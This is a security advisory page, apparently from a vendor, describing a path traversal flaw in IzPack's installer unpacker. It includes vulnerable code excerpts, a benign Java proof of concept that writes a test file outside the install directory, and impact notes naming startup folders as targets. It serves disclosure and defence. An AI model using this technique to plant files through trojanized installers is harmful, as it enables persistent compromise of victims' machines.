GHSA-f63g-88cj-hjf9 is a high-severity (CVSS 7.4) Path Traversal vulnerability in org.codehaus.izpack:izpack-installer. O3 Security confirms whether GHSA-f63g-88cj-hjf9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f63g-88cj-hjf9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-f63g-88cj-hjf9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 365,950 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.codehaus.izpack:izpack-installerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
IzPack's UnpackerBase.unpack() resolves pack-file target paths without any
canonical-path or directory-containment check. An attacker who distributes a
trojanized installer JAR (the format is unsigned) can include pack entries whose
targetPath contains ../ sequences. When a victim runs the installer the
file is written to an attacker-chosen location on disk under the victim's
privileges — including startup folders, PATH directories, or system locations.
Details
Vulnerable method: com.izforge.izpack.installer.unpacker.UnpackerBase.unpack()
Source file: izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java
Vulnerable lines (5.2.4): ~618–627
The relevant code path is:
String targetPath = packFile.getTargetPath(); // attacker-controlled
String path = IoHelper.translatePath(targetPath, variables); // separator swap ONLY
File target = new File(path); // no canonical check
// ... mkdirs() then file is written to `target`
IoHelper.translatePath() (source: izpack-util/.../IoHelper.java) performs
only file-separator character conversion ('/' ↔ File.separatorChar) and
contains no security validation whatsoever. There is no call to
getCanonicalPath(), no startsWith(installDir) containment check, and no
normalisation of .. segments.
Because IzPack installer JARs carry no digital signature, an attacker can
repack any legitimate installer with malicious PackFile entries. The file
format is a standard ZIP with serialised resources — no integrity protection.
Confirmed unpatched in HEAD (fetched from GitHub, 2025):
git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \
| grep -n 'getCanonicalPath\|startsWith.*install\|traversal'
# (no output — fix not present)
PoC
# 1. Clone IzPack source and view the vulnerable code directly
git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git
sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java
# 2. Compile and run the following Java reproducer (no IzPack classpath needed):
// TestPathTraversal.java
import java.io.*;
public class TestPathTraversal {
// Exact replication of IoHelper.translatePath() — separator swap, no security
static String translatePath(String destination) {
return destination.replace('/', File.separatorChar);
}
public static void main(String[] args) throws Exception {
String installDir = "/tmp/izpack_install";
String maliciousPath = installDir + "/../../../tmp/ESCAPED_FILE";
// This is what UnpackerBase does:
String path = translatePath(maliciousPath);
File target = new File(path); // resolves traversal
target.getParentFile().mkdirs();
try (FileWriter fw = new FileWriter(target)) {
fw.write("Written outside install dir via IzPack path traversal\n");
}
System.out.println("File written to: " + target.getCanonicalPath());
System.out.println("Inside installDir: " +
target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));
}
}
javac TestPathTraversal.java && java TestPathTraversal
# Output: File written to: /tmp/ESCAPED_FILE
# Inside installDir: false
Impact
Any user who runs an IzPack-generated installer is affected. The attacker only
needs to distribute a repackaged installer — a common social-engineering vector.
On Windows (the primary IzPack platform) the victim typically runs the installer
as a local administrator, so the attacker can write to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup,
%SystemRoot%\System32, or any other location reachable by the victim user.
On Linux/macOS the same applies for user-writable locations.
No authentication, no special privileges and no interaction beyond running the installer are required on the victim side.
Credits
This issue was identified by Michał Majchrowicz, Marcin Wyczechowski, and Paweł Zdunek, members of the AFINE Team.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.codehaus.izpack:izpack-installer | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.codehaus.izpack:izpack-installer. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of org.codehaus.izpack:izpack-installer has shipped for GHSA-f63g-88cj-hjf9 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f63g-88cj-hjf9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f63g-88cj-hjf9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f63g-88cj-hjf9 in your dependencies?
O3 detects GHSA-f63g-88cj-hjf9 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.